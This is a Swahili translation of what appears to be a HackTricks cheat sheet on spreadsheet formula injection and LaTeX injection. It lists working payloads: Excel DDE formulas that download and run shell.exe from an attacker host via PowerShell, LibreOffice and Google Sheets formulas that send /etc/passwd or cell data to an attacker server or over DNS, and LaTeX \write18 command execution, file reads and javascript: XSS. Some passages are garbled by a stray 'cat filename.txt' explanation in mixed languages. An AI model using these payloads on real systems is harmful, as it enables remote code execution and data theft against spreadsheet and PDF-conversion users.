13 KiB
Kuingiza Mfumo/CSV/Doc/LaTeX/GhostScript
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
Tafuta udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inafanya uchunguzi wa vitisho wa kujitokeza, inapata masuala katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Kuingiza Mfumo
Habari
Ikiwa kuingizo lako linarejelewa ndani ya faili za CSV (au faili yoyote nyingine ambayo labda itafunguliwa na Excel), labda unaweza kuweka mifumo ya Excel ambayo itatekelezwa wakati mtumiaji anafungua faili au wakati mtumiaji anabonyeza kiungo ndani ya karatasi ya Excel.
{% hint style="danger" %} Leo hii Excel itatoa tahadhari (mara kadhaa) kwa mtumiaji wakati kitu kinapakia kutoka nje ya Excel ili kumzuia kufanya vitendo vya uovu. Kwa hivyo, juhudi maalum za Uhandisi wa Jamii lazima zitumike kwa malipo ya mwisho. {% endhint %}
Orodha ya Maneno
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Kiungo cha mtandao
Mfano ufuatao ni muhimu sana kwa kuvuja maudhui kutoka kwenye karatasi ya mwisho ya Excel na kufanya maombi kwenye maeneo yoyote. Lakini inahitaji mtumiaji bonyeze kiungo (na kukubali onyo).
Mfano ufuatao ulichukuliwa kutoka https://payatu.com/csv-injection-basic-to-exploit
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaoathiriwa kupitia shambulio la kuingiza CSV. Nia kuu ya mshambuliaji ni kudhoofisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya kwenye programu, haswa kwa kuingiza fomula zenye madhara kwenye uga uliokusudiwa kwa maelezo ya wanafunzi. Shambulio linatokea kama ifuatavyo:
- Kuingiza Mzigo Mbaya:
- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa kawaida kwenye karatasi za kielektroniki (kwa mfano,
=HYPERLINK("<malicious_link>","Bonyeza hapa")
). - Fomula hii imeundwa kuunda kiungo cha mtandao, lakini kinaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji.
- Kuuza Data Iliyodhoofishwa:
- Walimu, bila kujua kudhoofishwa, hutumia kazi ya programu kuhamisha data kwenye faili ya CSV.
- Faili ya CSV, wakati inafunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo cha mtandao kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
- Kuzindua Shambulio:
- Mwalimu anabonyeza kiungo cha mtandao, akiamini kuwa ni sehemu halali ya maelezo ya mwanafunzi.
- Baada ya kubonyeza, data nyeti (pamoja na maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
- Kulogu Data:
- Seva ya mshambuliaji inapokea na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbaya mbalimbali, kudhoofisha zaidi faragha na usalama wa wanafunzi na taasisi.
RCE
Angalia chapisho asili kwa maelezo zaidi.
Katika mipangilio maalum au toleo la zamani la Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za aina yoyote. Ili kutumia hii, mipangilio ifuatayo lazima iwe imewezeshwa:
- Nenda kwa Faili → Chaguo → Kituo cha Uaminifu → Mipangilio ya Kituo cha Uaminifu → Yaliyomo ya Nje, na wezesha Uzinduzi wa Seva ya Kubadilishana Data ya Kudumu.
Wakati karatasi ya kielektroniki yenye mzigo mbaya inafunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kuhesabu, mzigo utakuwa:
`=cmd|' /C calc'!xxx`
Amri za ziada pia zinaweza kutekelezwa, kama vile kupakua na kutekeleza faili kwa kutumia PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Uingizaji wa Faili ya Ndani (LFI) katika LibreOffice Calc
LibreOffice Calc inaweza kutumika kusoma faili za ndani na kuvuja data. Hapa kuna njia kadhaa:
- Kusoma mstari wa kwanza kutoka faili ya ndani
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Kuvuja data iliyosomwa kwenye seva inayodhibitiwa na mshambuliaji:
=WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Kuvuja zaidi ya mstari mmoja:
=WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Kuvuja kupitia DNS (kutuma data iliyosomwa kama maswali ya DNS kwenye seva ya DNS inayodhibitiwa na mshambuliaji):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<kikoa cha mshambuliaji>"))
Google Sheets kwa Exfiltration ya Data Out-of-Band (OOB)
Google Sheets inatoa kazi ambazo zinaweza kutumiwa kwa exfiltration ya data Out-of-Band:
- CONCATENATE: Inaongeza vifungo pamoja -
=CONCATENATE(A2:E2)
- IMPORTXML: Inaingiza data kutoka aina za data zilizopangwa -
=IMPORTXML(CONCAT("http://<anwani ya IP ya mshambuliaji:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Inaingiza vyanzo vya RSS au ATOM -
=IMPORTFEED(CONCAT("http://<anwani ya IP ya mshambuliaji:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Inaingiza data kutoka kwenye meza au orodha za HTML -
=IMPORTHTML (CONCAT("http://<anwani ya IP ya mshambuliaji:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Inaingiza safu ya seli kutoka kwenye karatasi nyingine -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Inaingiza picha kwenye seli -
=IMAGE("https://<anwani ya IP ya mshambuliaji:Port>/images/srpr/logo3w.png")
Uingizaji wa LaTeX
Kawaida seva ambazo utazipata kwenye mtandao ambazo zinafanya uongofu wa nambari za LaTeX kuwa PDF hutumia pdflatex
.
Programu hii hutumia sifa 3 kuu kuwezesha/zuia utekelezaji wa amri:
--no-shell-escape
: Kulemaza ujenzi wa\write18{amri}
, hata kama umewezeshwa katika faili ya texmf.cnf.--shell-restricted
: Sawa na--shell-escape
, lakini imezuiliwa kwa seti 'salama' ya amri zilizopangwa mapema (**Kwenye Ubuntu 16.04 orodha iko katika/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Kuwezesha ujenzi wa\write18{amri}
. Amri inaweza kuwa amri yoyote ya shell. Ujenzi huu kawaida haupendekezwi kwa sababu za usalama.
Hata hivyo, kuna njia nyingine za kutekeleza amri, kwa hivyo ili kuepuka RCE ni muhimu sana kutumia --shell-restricted
.
Soma faili
Inaweza kuhitajika kurekebisha uingizaji na vifuniko kama [ au $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Soma faili lenye mstari mmoja
To read a single-lined file, you can use the following command:
Kwa kusoma faili lenye mstari mmoja, unaweza kutumia amri ifuatayo:
cat filename.txt
This command will display the contents of the file filename.txt
on the terminal.
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Soma faili lenye mistari mingi
To read a file with multiple lines, you can use the following command:
Kwa kusoma faili lenye mistari mingi, unaweza kutumia amri ifuatayo:
cat filename.txt
This command will display the contents of the file on the terminal. You can replace filename.txt
with the actual name of the file you want to read.
Amri hii itaonyesha maudhui ya faili kwenye terminal. Unaweza kubadilisha filename.txt
na jina halisi la faili unayotaka kusoma.
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Andika faili
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Utekelezaji wa Amri
Kuingiza amri itaelekezwa kwa stdin, tumia faili ya muda ili kuipata.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila herufi mbaya.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Kutoka @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Uingizaji wa Ghostscript
Angalia https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Marejeo
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Tafuta udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inatekeleza uchunguzi wa vitisho wa kujitokeza, inapata matatizo katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inayotangazwa katika HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.